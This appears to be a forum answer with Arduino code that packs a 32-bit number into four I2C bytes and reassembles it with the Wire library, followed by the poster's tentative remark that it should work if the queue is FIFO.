// Check if we have a 32-bit number (4 bytes) in queue
while(Wire.available() >= 4)
{
number = 0;
for(int i = 0; i < 32; i += 8)
{
// This is merging the bytes into a single integer
number |= ((int)Wire.read() << i);
}
Serial.print("data received: ");
Serial.println(number);
// ...
}
}
void sendData()
{
for(int i = 0; i < 32; i += 8)
{
// This is extracting each byte from the number
Wire.write((number >> i) & 0xFF);
}
}
I don't have any experience with I2C, but if its queue is a FIFO, then the code should work.